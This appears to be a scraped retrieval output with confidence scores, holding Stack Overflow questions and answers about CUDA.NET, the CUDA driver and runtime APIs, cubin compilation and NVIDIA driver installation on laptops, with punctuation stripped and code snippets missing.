GeForce GT 640M LE CUDA Driver Version Runtime Version 4.2 4.2 CUDA Capability Major Minor version number : 3.0 Total amount of global memory : .. . 1024 MBytes 1073741824 bytes 2 Multiprocessors x 192 CUDA Cores MP : 384 CUDA Cores GPU Clock rate : .. . 405 MHz 0.41 GHz Memory Clock rate : .. . 900 Mhz Memory Bus Width : 128-bit L2 Cache Size : 262144 bytes Max Texture Dimension Size x y z 1D 65536 2D 65536 65536 3 D 4096 4096 4096 Max Layered Texture Size dim x layers .. . 1D 16384 x 2048 2D 16384 16 384 x 2048 Total amount of constant memory : 65536 bytes Total amount of shared-memory per block : 49152 bytes Total number of registers available per block : 65536 Warp size : 32 .. . Maximum number of threads per multiprocessor : 2048 Maximum number of threads per block : 1024 Maximum sizes of each dimension of a block : 1024 x 1024 x 64 Maximum sizes of each dimension of a grid : 2147483647 x 65535 x 65535 Maximum memory pitch : .. . 2147483647 bytes Texture alignment : 512 bytes Concurrent copy and execution : Yes with 1 copy engine s Run time limit on kernels : Yes .. . Integrated GPU sharing Host Memory : No Support host page-locked memory mapping : Yes Concurrent kernel execution : .. . Yes Alignment requirement for Surfaces : Yes Device has ECC support enabled : No Device is using TCC driver mode : No Device supports Unified Addressing UVA : .. . No Device PCI Bus ID PCI location ID : 1 0 Compute Mode : Default multiple host threads can use : : cudaSetDevice with device simu ltaneously deviceQuery CUDA Driver CUDART CUDA Driver Version 4.2 CUDA Runtime Versi on 4.2 NumDevs 1 Device GeForce GT 640M LE deviceQuery.exe test results.. .", "Don t download notebook version try Desktop version of Nvidia Driver .", "I have found that for deployment of libraries in multi-threaded applications the control over CUDA context provided by the driver API was critical .", "Equivalences between CUDA and OpenCL are :", "I am beginner in programming with CUDA I want to know can I compile and run my CUDA program with out installing Nividia Driver", "Cuda toolkit and SDK installed successfully in my machine but whenI run my program I cannot set my Cuda device .", "Unfortunately there are many NVIDIA GPUs for which the driver from the NVIDIA website will not install especially for GPU versions that are specifically OEM d for Sony Lenovo etc and the OEM wants to control the driver experience .", "I d suggest you to try writing a first parallel version of your algorithm in CUDA with no optimisation .", "The CUDA runtime makes it possible to compile and link your CUDA kernels into executables .", "I installed cuda 5 for GT 640M and for 330 M I installed recommended driver in below page forum.notebookreview.com sony http : forum.notebookreview.com sony 342947-my-discoveries-vaio-z-s-hybrid-graphics.html", "I need to initialize cuda arrays actually cublas vectors but it doesn t matters in one CPU thread and use them in other CPU thread .", "CUDA layer model http : www.tomshw.it guides hardware graphic 20080618 images nvidia-CUDA Q-7-111103-13.jpg .. . .. . I assume the tradeoff between the two are increased performance for the low-evel API but at the cost of increased complexity of code .", "Your CUDA code snippet is complete nonsense and you shouldn t expect it to return anything meaningful even if you had correctly functioning CUDA installations in your laptops .", "From the CUDA Programmer s Guide : .. . .. . It is composed of two APIs : .. . .. . A low-level API called the CUDA driver API .. . A higher-level API called the CUDA runtime API that is implemented on top of the CUDA driver API .", "You can search around for details on how to mod NVIDIA inf files there are a number of sites that do that .", "When writing CUDA applications you can either work at the driver level or at the runtime level as illustrated on this image The libraries are CUFFT and CUBLAS for advanced math : .. . .. .", "CUDA speeds up data-processing .", "But CUDA context which holding all initialized arrays and loaded functions can be attached only to one CPU thread .", "The point is to execute all the functions which have something to deal with CUDA in one CPU thread .", "The first one has Geforce with cuda model GT330M and second one has GT 640M LE .", "I want to know can I compile and run my CUDA program with out installing Nividia Driver", "The examples that come with CUDA use the A i-1 and A i+1 for the interpolation .", "all of my graphic card already installed .. . .. . Nvidia installer cannot continue This graphics card could not find compatible graphics hardware .", "Is it possible for something like CUDA to speed up the process", "But not in case of nvcc myfile.cu --cubin in post-build-event of .net app .", "I ended up doing PInvoke to the CUDA Runtime and not using CUDAfy .", "These APIs are mutually exclusive : with newer CUDA versions this is no longer true .", "Check out the CUDA 2.2 beta or later documentation for more information .", "Most of my clients want to integrate GPU acceleration into existing applications and these days almost all applications are multi-threaded .", "I have two laptops : a Sony vaio z-series vocz1 S series .", "Then use the NVIDIA Visual Profiler on your application to figure out whether you need to set up texture memory to optimize your memory accesses .", "This is a limitation of .NET not CUDAfy .", "If you re not used to developing with CUDA using texture memory is not the easiest thing to start with .", "Having worked in C C++ Cli and CUDA C in the past I am aware of the nature of the error .", "This problem doesn t exist in CUDA C and it only exists because we are marshaling from CLR .", "I have a feeling the decimal might be an issue though as i didnt see it mentioned in the CUDA by example .", "one advantage of the driver API would be for compiler developers adding support for writing kernels in languages other that the CUDA subset of C .", "In contrast the driver API is harder to program but provided more control over how CUDA is used .", ".. . The CUDA runtime eases device code management by providing implicit initialization context management and module management .", "Also device-emulation see Section 4.5.2.9 does not work with the CUDA driver API .", "But simply extracting data from excel and bulk inserting to a database has nothing to do with CUDA .", "CUDAfy doesn t work for CUDA 6.5 : I m not sure how KMLib uses CUDAfy at all .", "I already have a first parallel version .", "The specific GASS.CUDA.CUDAException you ve encountered is something that is actually documented on KMLib s web-page http : wmii.uwm.edu.pl ksopyla projects svm-net-with-cuda-kmlib albeit somewhat obscurely : .. . .. . -arch sm 21 or -arch sm 30 indicates compute capability former if for Fermi .. . cards e.g Geforce 470 latter is for Kepler cards e.g .", "In CUDA to cover multiple blocks and thus incerase the range of indices for arrays we do some thing like this : .. . .. . Host side Code : .. . .. . Device side code .. . .. . What is the equivalent in OpenCL for acheiving the above case", "if any one have problem for z serious they can refer to below page : forum.notebookreview.com sony http : forum.notebookreview.com sony 342947-my-discoveries-vaio-z-s-hybrid-graphics.html", "CUDA can speed up computational processing but not bottlenecks due to network bandwidth latency or slow compared to the rest of your application machine IO performance .", "The exception occurs in the method : .. . .. . I m using GTX770 Visual Studio 2010 Ultimate Cuda SDK 5.5 and Windows 7 64-bit .", "I ve had to go through some of the same issues that you went through but I got it working on my GTX 650 + CUDA 6.5 setup .", "I changed the setting in Project Properties- Configuration Properties- Cuda Runtime API- GPU- NVCC Compilation Type to Generate 64 bit .cubin file -m64 -cubin from Generate hybrid object file --compile -c . .. . .. . But I got this error fatal-error LNK1181 : cannot open input file . Debug histogram256.cu.obj .", "One more thing my computer contain 2 VGA so I tried to explain it to make it clear...Finally I am not so familiar with CUDA but you can check all the fields of class cudaError t you will find a field which is equal to 0 else condition means you couldnt set your device successfully .", "make sure declaration is in the same file where you use it .", "3 : Use managedcuda codeplex is much much better samples and documentation are provided .", "I ve figured out to : .. . .. . myfunc apparently should be of type GASS.CUDA.Types.CUfunction but I didn t find how to define one .", "First you need a .cu file with your kernel function to be executed on a GPU .", "Let s have a file mykernel.cu : .. . .. . This have to be compiled into a .cubin file with the nvcc compiler .", "In order to let the compiler know of the Visual C++ compiler you need to call it from within the Visual Studio Command Prompt : .. . .. . This creates the mykernel.cubin file in the same directory .", "Then in a C code you can load this binary module and execute the kernel .", "In the higher-level object API of GASS.CUDA it can look like this : .. . .. . That s it", "The nvcc compiler should be called as a build action better than calling it by hand .", "If anyone knows how to accomplish that please let us know .", ".. . In contrast the CUDA driver API requires more code is harder to program and debug but offers a better level of control and is language-independent since it only deals with cubin objects see Section 4.2.5 .", "In particular it is more difficult to configure and launch kernels using the CUDA driver API since the execution configuration and kernel parameters must be specified with explicit function-calls instead of the execution configuration syntax described in Section 4.2.3 .", "Last but not least the latest CUDA version CUDA 5 still in release candidate is able to automatically store your data in texture memory as long as you declare the input buffers passed as parameters to your kernel as const restrict pointers .", "CUDAfy is trying to make things too simple for .NET developers and shield them away from the IntPtr and other pointer concepts .", "on the host side the complexity of the driver api is pretty trivial the fundamental differences are : .. . .. . in driver api you have access to functionality that is not available in the runtime api like contexts .", "You could use extension-methods and yield-return :", "My initial attempts with various work-arounds in the runtime API all led to failure sometimes in spectacular fashion - I found I could repeatedly instantly reboot a machine by performing just the wrong set of CUDA calls from different threads .", "GeForce 690 it .. . is very important to set this switch depending on yours card compute capability .. . .. . .. . So the issue you are experiencing has to do with the architecture of the GFX card Fermi Kepler Maxwell not being in line with the nvcc command-line in the post-build step .", "For instance : .. . .. . In your kernel use : .. . .. . to retrieve the global and local work sizes and indices respectively where dim is 0 for x 1 for y and 2 for z .", "As you have noted it is generally easier to use .", "cudaMemcpyToSymbol function returns cudaErrorInvalidSymbol .", "The first parameter in cudaMemcpyToSymbol is string.. . Is it symbol name", "actualy I don t understand how it could be resolved ." ] }
{ "confidence": [ 77.39414978027344, 74.91019439697266, 68.92733764648438, 68.17351531982422, 62.064491271972656, 56.336708068847656, 56.036170959472656, 53.11762237548828, 51.85717010498047, 51.092933654785156, 45.56959533691406, 43.619651794433594, 43.08720397949219, 42.449676513671875, 42.178157806396484, 40.627113342285156, 40.60773849487305, 38.54021072387695, 35.426063537597656, 35.19369888305664 ], "content": [ "Question : I m writing an article about CUDA and their wrappers and right now I m stuck with what layer of CUDA is used by CUDA.NET or JCUDA . As this suggests : .. . CUDA Layers http : www.tomshw.it guides hardware graphic 20080618 images nvidia-CUDA Q-7-111103-13.jpg .. . .. . I guess as my program suggests when i use CUBLAS cublas new CUBLAS cuda that I m using a Library or a library on CUDA Runtime . I m right or what is the best definition And wrapper is the best definition to CUDA.NET or brigde or something . .. . Answer : Cuda.net is implemented via Cuda Driver Comment : Thanks And in your opinion cuda.net is a language binding or a wrapper", "Question : I try to develop a form application using CUDA.NET in Visual Stuio C . However I need to create cubin file here is my problem : .. . .. . I tried to create cubin file using Visual Studio . I changed the setting in Project Properties- Configuration Properties- Cuda Runtime API- GPU- NVCC Compilation Type to Generate 64 bit .cubin file -m64 -cubin from Generate hybrid object file --compile -c . .. . .. . But I got this error fatal-error LNK1181 : cannot open input file . Debug histogram256.cu.obj . It cannot find the object of some of my .cu files . So I changed only those .cu files NVCC Compilation Type setting to -m64 -cubin and compile them alone by right clicking on those files . However it did not create any .obj or .cubin file . Then I tried to compile it from the command-line . I copied the line in the .cu file s Property Page- Cuda Runtime API- Command Line which is .. . .. . C : Program Files NVIDIA GPU Computing Toolkit CUDA v4.0 bin nvcc.exe -gencode arch compute 20 code sm 20 compute 20 -gencode arch compute 20 code sm 20 compute 20 --machine 32 -ccbin c : Program Files Microsoft Visual Studio 9.0 VC bin -Xcompiler EHsc W3 nologo O2 Zi MT -I C : Program Files NVIDIA GPU Computing Toolkit CUDA v4.0 include -maxrregcount 0 --compile -o Debug device.cubin device.cu .. . .. . device.cu is my cuda file . It created the .cubin file but I got this error from CUDA.NET : GASS.CUDA.CUResult.ErrorInvalidImage . .. . .. . Do you have any suggestions .. . Answer : 1 : be sure that your viedecard support gencode-arch and code you specify . 2 : You compile for 32-bit be sure u are compiling and reference cuda.net for 32-bit also for .net . 3 : Use managedcuda codeplex is much much better samples and documentation are provided .", "Question : I m trying to write a childish app with CUDA.Net but I m out of luck . I ve figured out to : .. . .. . myfunc apparently should be of type GASS.CUDA.Types.CUfunction but I didn t find how to define one . .. . Answer : Unfortunately CUDA.net is very badly documented but http : www.hoopoe-cloud.com files cuda.net 2.0 CUDA.NET 2.0.pdf should help you get started . Furthermore you still need to write your kernel in CUDA C so http : developer.download.nvidia.com compute cuda 3 2 prod toolkit docs CUDA C Programming Guide.pdf will be a good idea to have a look at as well and perhaps try to start with a start CUDA C application before porting it to CUDA.net .", "Question : I m trying to set my simulation params in constant memory but without luck CUDA.NET . cudaMemcpyToSymbol function returns cudaErrorInvalidSymbol . The first parameter in cudaMemcpyToSymbol is string.. . Is it symbol name actualy I don t understand how it could be resolved . Any help appreciated . my .cu file contain .. . .. . Working solution .. . Answer : If this question is actual you can use cuModuleGetGlobal and next cudaMemcpy like this : .. . .. . where CUmodule module cuda.LoadModule MyCode.cubin This code works with NVIDIA GPU Computing SDK 3.1 and CUDA.NET 3.0 .", "Question : I m currently using CUDA.NET library by GASS . I need to initialize cuda arrays actually cublas vectors but it doesn t matters in one CPU thread and use them in other CPU thread . But CUDA context which holding all initialized arrays and loaded functions can be attached only to one CPU thread . There is mechanism called context migration API to detach context from one thread and attach it to another . But i don t how to properly use it in CUDA.NET . I tried something like this : .. . .. . But execution fails on attempt to copy changed vector to device because context is not attached . Other reasons are unlikely because it works fine in single-threaded mode . Any ideas how i can get it work .. . Answer : Check out CUDAContextSynchronizer class in GASS documentation . Comment : This class from CUDA.NET 3.0 but I m using 2.3 version . Thx for the answer anyway . I ll check it .", "Question : When writing CUDA applications you can either work at the driver level or at the runtime level as illustrated on this image The libraries are CUFFT and CUBLAS for advanced math : .. . .. . CUDA layer model http : www.tomshw.it guides hardware graphic 20080618 images nvidia-CUDA Q-7-111103-13.jpg .. . .. . I assume the tradeoff between the two are increased performance for the low-evel API but at the cost of increased complexity of code . What are the concrete differences and are there any significant things which you cannot do with the high-level API I am using CUDA.net for interop with C and it is built as a copy of the driver API . This encourages writing a lot of rather complex code in C while the C++ equivalent would be more simple using the runtime API . Is there anything to win by doing it this way The one benefit I can see is that it is easier to integrate intelligent error-handling with the rest of the C code . Comment : one advantage of the driver API would be for compiler developers adding support for writing kernels in languages other that the CUDA subset of C . .. . Answer : There are some real issues with argument alignment and the driver API . Check out the CUDA 2.2 beta or later documentation for more information . Comment : Is this the case still today", "Question : I m currently using CUDA.NET library by GASS . I need to initialize cuda arrays actually cublas vectors but it doesn t matters in one CPU thread and use them in other CPU thread . But CUDA context which holding all initialized arrays and loaded functions can be attached only to one CPU thread . There is mechanism called context migration API to detach context from one thread and attach it to another . But i don t how to properly use it in CUDA.NET . I tried something like this : .. . .. . But execution fails on attempt to copy changed vector to device because context is not attached . Other reasons are unlikely because it works fine in single-threaded mode . Any ideas how i can get it work .. . Answer : I still have not found a solution for this problem but i did came up with a workaround . The point is to execute all the functions which have something to deal with CUDA in one CPU thread . For example you can do it like this : .. . .. . I hope it s gonna help someone .", "Question : When writing CUDA applications you can either work at the driver level or at the runtime level as illustrated on this image The libraries are CUFFT and CUBLAS for advanced math : .. . .. . CUDA layer model http : www.tomshw.it guides hardware graphic 20080618 images nvidia-CUDA Q-7-111103-13.jpg .. . .. . I assume the tradeoff between the two are increased performance for the low-evel API but at the cost of increased complexity of code . What are the concrete differences and are there any significant things which you cannot do with the high-level API I am using CUDA.net for interop with C and it is built as a copy of the driver API . This encourages writing a lot of rather complex code in C while the C++ equivalent would be more simple using the runtime API . Is there anything to win by doing it this way The one benefit I can see is that it is easier to integrate intelligent error-handling with the rest of the C code . Comment : one advantage of the driver API would be for compiler developers adding support for writing kernels in languages other that the CUDA subset of C . .. . Answer : I have found that for deployment of libraries in multi-threaded applications the control over CUDA context provided by the driver API was critical . Most of my clients want to integrate GPU acceleration into existing applications and these days almost all applications are multi-threaded . Since I could not guarantee that all GPU code would be initialized executed and deallocated from the same thread I had to use the driver API . My initial attempts with various work-arounds in the runtime API all led to failure sometimes in spectacular fashion - I found I could repeatedly instantly reboot a machine by performing just the wrong set of CUDA calls from different threads . Since we migrated everything over the Driver API all has been well . J Comment : Can you elaborate more or link-to somewhere explaining how using the driver directly helps you control the timing of these various tasks", "Question : When writing CUDA applications you can either work at the driver level or at the runtime level as illustrated on this image The libraries are CUFFT and CUBLAS for advanced math : .. . .. . CUDA layer model http : www.tomshw.it guides hardware graphic 20080618 images nvidia-CUDA Q-7-111103-13.jpg .. . .. . I assume the tradeoff between the two are increased performance for the low-evel API but at the cost of increased complexity of code . What are the concrete differences and are there any significant things which you cannot do with the high-level API I am using CUDA.net for interop with C and it is built as a copy of the driver API . This encourages writing a lot of rather complex code in C while the C++ equivalent would be more simple using the runtime API . Is there anything to win by doing it this way The one benefit I can see is that it is easier to integrate intelligent error-handling with the rest of the C code . Comment : one advantage of the driver API would be for compiler developers adding support for writing kernels in languages other that the CUDA subset of C . .. . Answer : a couple of important things to note : .. . .. . first the differences between the APIs only apply to the host side code . The kernels are exactly the same . on the host side the complexity of the driver api is pretty trivial the fundamental differences are : .. . .. . in driver api you have access to functionality that is not available in the runtime api like contexts . the emulator only works with code written for the runtime api . oh and currently cudpp which is a very handy library only works with the runtime api .", "Question : I found the KMLib on the internet and I found it very interesting . But when running the sample application an error appears : GASS.CUDA.CUDAException Error Invalid Source . The exception occurs in the method : .. . .. . I m using GTX770 Visual Studio 2010 Ultimate Cuda SDK 5.5 and Windows 7 64-bit . What can be causing the error .. . Answer : I ve had to go through some of the same issues that you went through but I got it working on my GTX 650 + CUDA 6.5 setup . I ll describe the changes I had to make into the build dependencies of KMLIB : .. . .. . 1 . CUDAfy doesn t work for CUDA 6.5 : I m not sure how KMLib uses CUDAfy at all . It might actually NOT be using it for anything except accessing the CUDA.NET API which is a separate project from CUDAfy that is merged into it . I had to make multiple changes to CUDAfy to make it less brain-damaged than it is but I d suggest you attempt replacing the reference with CUDA.NET and see if it really required CUDAfy . If this doesn t work for you please let me know and I will find a way to share my CUDAfy 6.5 build with you .. . 2 . The specific GASS.CUDA.CUDAException you ve encountered is something that is actually documented on KMLib s web-page http : wmii.uwm.edu.pl ksopyla projects svm-net-with-cuda-kmlib albeit somewhat obscurely : .. . .. . -arch sm 21 or -arch sm 30 indicates compute capability former if for Fermi .. . cards e.g Geforce 470 latter is for Kepler cards e.g . GeForce 690 it .. . is very important to set this switch depending on yours card compute capability .. . .. . .. . So the issue you are experiencing has to do with the architecture of the GFX card Fermi Kepler Maxwell not being in line with the nvcc command-line in the post-build step . I don t know if the sm 30 as the author specifies is correct for the 770 card but I ended up using the following command-line changing the compute-model shader-moderl and the visual-studio path since CUDA 6.5 usus VS 2013 as was I : .. . .. . nvcc -I . KernelsEllpackCol2.cu KernelsCSR.cu KernelsEllpack.cu KernelsSlicedEllpack.cu gpuFanSmoSolver.cu gpuFOSmoSolver.cu -ccbin VS120COMNTOOLS . . . . VC bin -m64 -cubin -gencode arch compute 30 code sm 30 -Xptxas -v .. . .. . .. . You will need to change the port-build to reflect your build-system .", "Question : When writing CUDA applications you can either work at the driver level or at the runtime level as illustrated on this image The libraries are CUFFT and CUBLAS for advanced math : .. . .. . CUDA layer model http : www.tomshw.it guides hardware graphic 20080618 images nvidia-CUDA Q-7-111103-13.jpg .. . .. . I assume the tradeoff between the two are increased performance for the low-evel API but at the cost of increased complexity of code . What are the concrete differences and are there any significant things which you cannot do with the high-level API I am using CUDA.net for interop with C and it is built as a copy of the driver API . This encourages writing a lot of rather complex code in C while the C++ equivalent would be more simple using the runtime API . Is there anything to win by doing it this way The one benefit I can see is that it is easier to integrate intelligent error-handling with the rest of the C code . Comment : one advantage of the driver API would be for compiler developers adding support for writing kernels in languages other that the CUDA subset of C . .. . Answer : The CUDA runtime makes it possible to compile and link your CUDA kernels into executables . This means that you don t have to distribute cubin files with your application or deal with loading them through the driver API . As you have noted it is generally easier to use . In contrast the driver API is harder to program but provided more control over how CUDA is used . The programmer has to directly deal with initialization module loading etc . Apparently more detailed device information can be queried through the driver API than through the runtime API . For instance the free memory available on the device can be queried only through the driver API . From the CUDA Programmer s Guide : .. . .. . It is composed of two APIs : .. . .. . A low-level API called the CUDA driver API .. . A higher-level API called the CUDA runtime API that is implemented on top of the CUDA driver API . .. . These APIs are mutually exclusive : An application should use either one or the other . .. . The CUDA runtime eases device code management by providing implicit initialization context management and module management . The C host code generated by nvcc is based on the CUDA runtime see Section 4.2.5 so applications that link-to this code must use the CUDA runtime API . .. . In contrast the CUDA driver API requires more code is harder to program and debug but offers a better level of control and is language-independent since it only deals with cubin objects see Section 4.2.5 . In particular it is more difficult to configure and launch kernels using the CUDA driver API since the execution configuration and kernel parameters must be specified with explicit function-calls instead of the execution configuration syntax described in Section 4.2.3 . Also device-emulation see Section 4.5.2.9 does not work with the CUDA driver API . There is no noticeable performance difference between the API s . How your kernels use memory and how they are laid out on the GPU in warps and blocks will have a much more pronounced effect . Comment : Is that a citation If so I can t find it . Could you name the precise document name and chapter where this is found Comment : These APIs are mutually exclusive : with newer CUDA versions this is no longer true . Now the documentation states An application can mix runtime API code with driver API code . Also cfr . stackoverflow.com a 27014990 1938163 http : stackoverflow.com a 27014990 1938163", "Question : I have two laptops : a Sony vaio z-series vocz1 S series . The first one has Geforce with cuda model GT330M and second one has GT 640M LE . When I am trying install CUDA Geforce driver from this site http : developer.nvidia.com cuda cuda-downloads I am receiving below error in Windows . I am wondering would you suggest me a solution to solve this issue all of my graphic card already installed .. . .. . Nvidia installer cannot continue This graphics card could not find compatible graphics hardware . I am beginner in programming with CUDA I want to know can I compile and run my CUDA program with out installing Nividia Driver Cuda toolkit and SDK installed successfully in my machine but whenI run my program I cannot set my Cuda device . Does it mean I need to install Nividia Driver enter image description here http : i.stack.imgur.com Kebuy.jpg .. . .. . output : .. . .. . 35 means it is not set the device if it became 0 means device set . .. . .. . after I run deviceQuery below information I received : .. . .. . Microsoft Windows Version 6.1.7601 Copyright c 2009 Microsoft Corporation . All rights reserved . C : Users xx C : ProgramData NVIDIA Corporation NVIDIA GPU Computing SDK 4.2 C bin win64 Release deviceQuery.exe deviceQuery.exe starting.. . C : ProgramData NVIDIA Corporation NVIDIA GPU Computing SDK 4.2 C bin win64 Relea se deviceQuery.exe Starting.. . CUDA Device Query Runtime API version CUDART static linking Found 1 CUDA Capable device s Device 0 : GeForce GT 640M LE CUDA Driver Version Runtime Version 4.2 4.2 CUDA Capability Major Minor version number : 3.0 Total amount of global memory : .. . 1024 MBytes 1073741824 bytes 2 Multiprocessors x 192 CUDA Cores MP : 384 CUDA Cores GPU Clock rate : .. . 405 MHz 0.41 GHz Memory Clock rate : .. . 900 Mhz Memory Bus Width : 128-bit L2 Cache Size : 262144 bytes Max Texture Dimension Size x y z 1D 65536 2D 65536 65536 3 D 4096 4096 4096 Max Layered Texture Size dim x layers .. . 1D 16384 x 2048 2D 16384 16 384 x 2048 Total amount of constant memory : 65536 bytes Total amount of shared-memory per block : 49152 bytes Total number of registers available per block : 65536 Warp size : 32 .. . Maximum number of threads per multiprocessor : 2048 Maximum number of threads per block : 1024 Maximum sizes of each dimension of a block : 1024 x 1024 x 64 Maximum sizes of each dimension of a grid : 2147483647 x 65535 x 65535 Maximum memory pitch : .. . 2147483647 bytes Texture alignment : 512 bytes Concurrent copy and execution : Yes with 1 copy engine s Run time limit on kernels : Yes .. . Integrated GPU sharing Host Memory : No Support host page-locked memory mapping : Yes Concurrent kernel execution : .. . Yes Alignment requirement for Surfaces : Yes Device has ECC support enabled : No Device is using TCC driver mode : No Device supports Unified Addressing UVA : .. . No Device PCI Bus ID PCI location ID : 1 0 Compute Mode : Default multiple host threads can use : : cudaSetDevice with device simu ltaneously deviceQuery CUDA Driver CUDART CUDA Driver Version 4.2 CUDA Runtime Versi on 4.2 NumDevs 1 Device GeForce GT 640M LE deviceQuery.exe test results.. . PASSED .. . .. . exiting in 3 seconds : 3...2...1...done Comment : Your CUDA code snippet is complete nonsense and you shouldn t expect it to return anything meaningful even if you had correctly functioning CUDA installations in your laptops . Comment : @talonmies : I did too since your second command was rude to me . I am so disappointed with your language . Any way I take screenshot to prove the reader all the driver installed in my computer successfully . One more thing my computer contain 2 VGA so I tried to explain it to make it clear...Finally I am not so familiar with CUDA but you can check all the fields of class cudaError t you will find a field which is equal to 0 else condition means you couldnt set your device successfully . Comment : Hey I am using windows-7 32bit on my mac via bootcamp with Geforce 320M as card graphic . I have the same problem . Did you find the solution .. . Answer : I have a VAIO too and I had the same problem . Don t download notebook version try Desktop version of Nvidia Driver . I also had to disable my another Graphic card Intel . It worked for me . Comment : I will try share my experience with u by night . Comment : It is not work at all for me . I installed cuda 5 for GT 640M and for 330 M I installed recommended driver in below page forum.notebookreview.com sony http : forum.notebookreview.com sony 342947-my-discoveries-vaio-z-s-hybrid-graphics.html", "Question : I m trying to set my simulation params in constant memory but without luck CUDA.NET . cudaMemcpyToSymbol function returns cudaErrorInvalidSymbol . The first parameter in cudaMemcpyToSymbol is string.. . Is it symbol name actualy I don t understand how it could be resolved . Any help appreciated . my .cu file contain .. . .. . Working solution .. . Answer : Unfortunately the constant must be in the same file scope as the memcpy to the symbol and in your case your constant is in a separate .cu file . The simple way around this is to provide a wrapper function in your .cu file for example : Comment : Thanks idea is clear and works for cpp --compile . But not in case of nvcc myfile.cu --cubin in post-build-event of .net app . -cubin Compile all .cu .ptx .gpu input files to device-only .cubin files . This step discards the host code for each .cu input file . So when I load this module it doesn t include host functions .", "Question : I m trying to set my simulation params in constant memory but without luck CUDA.NET . cudaMemcpyToSymbol function returns cudaErrorInvalidSymbol . The first parameter in cudaMemcpyToSymbol is string.. . Is it symbol name actualy I don t understand how it could be resolved . Any help appreciated . my .cu file contain .. . .. . Working solution .. . Answer : constant memory has implicit local scope linkage . make sure declaration is in the same file where you use it . it sounds like you have two files . may also have to declare param to array or maybe not", "Question : I m trying to write a childish app with CUDA.Net but I m out of luck . I ve figured out to : .. . .. . myfunc apparently should be of type GASS.CUDA.Types.CUfunction but I didn t find how to define one . .. . Answer : First you need a .cu file with your kernel function to be executed on a GPU . Let s have a file mykernel.cu : .. . .. . This have to be compiled into a .cubin file with the nvcc compiler . In order to let the compiler know of the Visual C++ compiler you need to call it from within the Visual Studio Command Prompt : .. . .. . This creates the mykernel.cubin file in the same directory . Then in a C code you can load this binary module and execute the kernel . In the higher-level object API of GASS.CUDA it can look like this : .. . .. . That s it The nvcc compiler should be called as a build action better than calling it by hand . If anyone knows how to accomplish that please let us know .", "Question : I have two laptops : a Sony vaio z-series vocz1 S series . The first one has Geforce with cuda model GT330M and second one has GT 640M LE . When I am trying install CUDA Geforce driver from this site http : developer.nvidia.com cuda cuda-downloads I am receiving below error in Windows . I am wondering would you suggest me a solution to solve this issue all of my graphic card already installed .. . .. . Nvidia installer cannot continue This graphics card could not find compatible graphics hardware . I am beginner in programming with CUDA I want to know can I compile and run my CUDA program with out installing Nividia Driver Cuda toolkit and SDK installed successfully in my machine but whenI run my program I cannot set my Cuda device . Does it mean I need to install Nividia Driver enter image description here http : i.stack.imgur.com Kebuy.jpg .. . .. . output : .. . .. . 35 means it is not set the device if it became 0 means device set . .. . .. . after I run deviceQuery below information I received : .. . .. . Microsoft Windows Version 6.1.7601 Copyright c 2009 Microsoft Corporation . All rights reserved . C : Users xx C : ProgramData NVIDIA Corporation NVIDIA GPU Computing SDK 4.2 C bin win64 Release deviceQuery.exe deviceQuery.exe starting.. . C : ProgramData NVIDIA Corporation NVIDIA GPU Computing SDK 4.2 C bin win64 Relea se deviceQuery.exe Starting.. . CUDA Device Query Runtime API version CUDART static linking Found 1 CUDA Capable device s Device 0 : GeForce GT 640M LE CUDA Driver Version Runtime Version 4.2 4.2 CUDA Capability Major Minor version number : 3.0 Total amount of global memory : .. . 1024 MBytes 1073741824 bytes 2 Multiprocessors x 192 CUDA Cores MP : 384 CUDA Cores GPU Clock rate : .. . 405 MHz 0.41 GHz Memory Clock rate : .. . 900 Mhz Memory Bus Width : 128-bit L2 Cache Size : 262144 bytes Max Texture Dimension Size x y z 1D 65536 2D 65536 65536 3 D 4096 4096 4096 Max Layered Texture Size dim x layers .. . 1D 16384 x 2048 2D 16384 16 384 x 2048 Total amount of constant memory : 65536 bytes Total amount of shared-memory per block : 49152 bytes Total number of registers available per block : 65536 Warp size : 32 .. . Maximum number of threads per multiprocessor : 2048 Maximum number of threads per block : 1024 Maximum sizes of each dimension of a block : 1024 x 1024 x 64 Maximum sizes of each dimension of a grid : 2147483647 x 65535 x 65535 Maximum memory pitch : .. . 2147483647 bytes Texture alignment : 512 bytes Concurrent copy and execution : Yes with 1 copy engine s Run time limit on kernels : Yes .. . Integrated GPU sharing Host Memory : No Support host page-locked memory mapping : Yes Concurrent kernel execution : .. . Yes Alignment requirement for Surfaces : Yes Device has ECC support enabled : No Device is using TCC driver mode : No Device supports Unified Addressing UVA : .. . No Device PCI Bus ID PCI location ID : 1 0 Compute Mode : Default multiple host threads can use : : cudaSetDevice with device simu ltaneously deviceQuery CUDA Driver CUDART CUDA Driver Version 4.2 CUDA Runtime Versi on 4.2 NumDevs 1 Device GeForce GT 640M LE deviceQuery.exe test results.. . PASSED .. . .. . exiting in 3 seconds : 3...2...1...done Comment : Your CUDA code snippet is complete nonsense and you shouldn t expect it to return anything meaningful even if you had correctly functioning CUDA installations in your laptops . Comment : @talonmies : I did too since your second command was rude to me . I am so disappointed with your language . Any way I take screenshot to prove the reader all the driver installed in my computer successfully . One more thing my computer contain 2 VGA so I tried to explain it to make it clear...Finally I am not so familiar with CUDA but you can check all the fields of class cudaError t you will find a field which is equal to 0 else condition means you couldnt set your device successfully . Comment : Hey I am using windows-7 32bit on my mac via bootcamp with Geforce 320M as card graphic . I have the same problem . Did you find the solution .. . Answer : Unfortunately there are many NVIDIA GPUs for which the driver from the NVIDIA website will not install especially for GPU versions that are specifically OEM d for Sony Lenovo etc and the OEM wants to control the driver experience . This is most likely the case for you . In those cases you can edit the .inf file to add your GPU into the list of GPUs for which the driver will install . However it is a bit tricky and typically requires editing 3 different sections of the INF file . You can search around for details on how to mod NVIDIA inf files there are a number of sites that do that . Of course you have to have the appropriate CUDA driver before you can run CUDA stuff . So first things first.. . you ve gotta get the driver installed . Comment : thanks for tip . Comment : if any one have problem for z serious they can refer to below page : forum.notebookreview.com sony http : forum.notebookreview.com sony 342947-my-discoveries-vaio-z-s-hybrid-graphics.html", "Question : Is there an efficient way to take a subset of a C array and pass it to another peice of code without modifying the original array I use CUDA.net which has a function which copies an array to the GPU . I would like to e.g . pass the function a 10th of the array and thus copy each 10th of the array to the GPU seperately for pipelining purposes . Copying the array in this way should be as efficient as copying it in one go . It can be done with unsafe code and just referencing the proper memory location but other than that I m not sure . The CopyTo function copies the entire array to another array so this does not appear useful . .. . Answer : I m not sure how efficient this is but.. .", "Question : I have two laptops : a Sony vaio z-series vocz1 S series . The first one has Geforce with cuda model GT330M and second one has GT 640M LE . When I am trying install CUDA Geforce driver from this site http : developer.nvidia.com cuda cuda-downloads I am receiving below error in Windows . I am wondering would you suggest me a solution to solve this issue all of my graphic card already installed .. . 